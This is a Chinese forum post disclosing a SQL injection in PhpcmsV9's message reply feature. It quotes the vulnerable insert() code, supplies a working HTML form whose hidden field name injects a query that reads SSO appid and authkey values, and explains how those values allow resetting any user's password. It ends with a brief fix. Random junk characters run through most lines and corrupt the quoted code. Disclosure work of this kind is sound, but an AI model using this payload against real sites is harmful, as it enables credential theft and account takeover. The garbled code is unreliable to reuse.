找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1963|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
简要描述:$ E% \; F( }7 f; K6 n  ?% b3 M6 n

$ i# @, W5 f, P% T1 }1 o% O* s2 d) h第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
/ C+ {9 R- `9 p+ Y5 `. B1 T& p6 Q* W
  J! Z: {8 C! H- J3 P2 i5 V明天再更新下一个漏洞。1 ~. [# F. X+ K. d: J9 O
详细说明:
/ l" ~* K& M# n# j  R% k在/phpcms9/phpcms/modules/message/index.php中有代码如下:
1 b! k) B6 ^# H: c! G9 Y
) I( u9 R3 n) i% N+ g) M, {$messageid = $this->message_db->insert($_POST['info'],true);$ E) Q4 D) T( R

* g' a. C/ z; g
5 H" }2 T) B0 m. d+ Oinsert方法是key value的,代码如下:
: k# O" X, g- }9 d' N, n
  J  \5 d- D8 Y, o& x+ b  D- \7 spublic function insert($data, $table, $return_insert_id = false, $replace = false) {9 d( k) u  }9 n0 h3 k8 A" A' g
                if(!is_array( $data ) || $table == '' || count($data) == 0) {5 J+ T2 \' Z3 i- i4 _' o
                        return false;
8 F8 @/ q9 I4 e( o7 v( F! s- g! T                }, z4 e, q" Z6 O0 I" f
               
; v  F8 w+ ~+ B/ Z- z% `2 `1 o5 V/ H                $fielddata = array_keys($data);! F4 S! D) G6 @2 L9 z
                $valuedata = array_values($data);
5 U& }  ]4 ^- J# V2 k3 F, e# s                array_walk($fielddata, array($this, 'add_special_char'));2 g6 l7 g) @/ N: h- b. u( T
                array_walk($valuedata, array($this, 'escape_string'));3 D" T! L  p  P0 Y3 N
               
5 F- Z# {, |- E# H6 ?: a3 P                $field = implode (',', $fielddata);3 @* X5 H- J! }4 F
                $value = implode (',', $valuedata);
' l: l/ I+ \7 ^6 k, z8 f1 @% O) J3 f5 P3 B1 c% t$ k; m$ F
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';% H0 r* Q& r; r% e
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
, I# a9 o! A4 b1 f+ e# N4 E                $return = $this->execute($sql);
6 p+ j; K% @# G" A1 h1 j3 m                return $return_insert_id ? $this->insert_id() : $return;% R+ t" W+ i& a) l9 _
        }
* H' G/ b, d1 i; Q2 P5 |/ F/ h! j& e, m- w
6 p  w7 w( h( t' \
嗯,很遗憾的是& z' S1 u6 T4 G/ `

, C2 E  t9 O7 garray_walk($fielddata, array($this, 'add_special_char'));
9 L2 ], Q0 ~0 o) k; |, D( s
0 x5 {* N$ I$ f# L3 y
  k/ @. H. `, S) p中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
$ }/ W8 E1 h" t$ \9 K5 ~' T
0 I$ y$ y$ [  @到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。( C: A& I* V, }: `/ a
: \7 t% S7 w" p7 |8 J" C5 ~' u
漏洞证明:" p5 y; b  {6 a1 n
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# Y! ]# z, l% X9 H- G& k
3 k) w6 o: D% T
; a" ?% b3 l# k8 Q6 Q/ v表单如下:用户名什么的得自己改一改。
$ x& p6 ?( ?3 u2 c( m" e<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
+ _# m6 E+ t! W6 v<table width="100%" cellspacing="0" class="table_form">
  w: y2 r0 C* t9 Q& c$ s% H+ {7 c" O. L<tr>; E# }) a& s( D% h
<th>标 题:</th>/ a8 w# }* b1 ~7 T
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>4 f7 [  z# w, g; D1 T' l7 s
</tr>
% A* j- \4 ]- y<tr>7 M9 d# U0 w. e- \9 o
<th>内 容:</th>' h( t' J+ }( U( g5 ?* l# P4 F
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
: x& g$ u; [$ O/ l</tr>* X1 {8 W; H# m0 ]5 C
<input type="hidden" name="info[replyid]" value="2" /> ' C% h3 Z" V6 t3 f, A
<input type="hidden" name="info[send_to_id]" value="cc" />
9 e) q9 J* N3 ^! J" U<input type="hidden" name="info[send_from_id]" value="hh">) o0 p, U! h$ l0 `' }! c
<!-- 漏洞的利用重点在这里开始 -->: h, M. U4 ]) w0 x6 _
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
! u9 o+ z1 l  W6 g- B/ ^<!-- 漏洞的利用重点在这里结束 -->
5 a6 W! R  i% D5 p6 {" t<tr>1 f" Y* \$ P) J: D) r1 _$ `! N
<th>验证码:</th>- X" T" }& I& l! w0 j/ y" `" ?
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>- I" ?  k# w/ C' m/ F
</tr>
& u6 D4 E; Q+ o* u" K<tr>, M5 W8 n2 C/ Y" S# J
<td></td>3 q  Z3 H$ Q% t7 h! L& m
<td colspan="2"><label>
/ Y7 v9 b) q& i9 |( O<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
4 S) Y1 X- M7 f( y- p</label></td>% y9 ^+ l/ E/ ~# r" m$ I
</tr>
1 e4 c! j; P/ Q# X7 X6 `- }) M- f</table>  j8 u+ w1 C' W
</form>
- ~1 ^+ [! Y/ I8 B* E在add_special_char函数内对key做过滤就可以了。, @3 a  T: G9 p0 M" _# X
0 \. x+ E1 }) f; k( ~

; x! K) ?4 l' y, j; r' A8 D( w* R. w1 H/ D/ [1 v! w

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表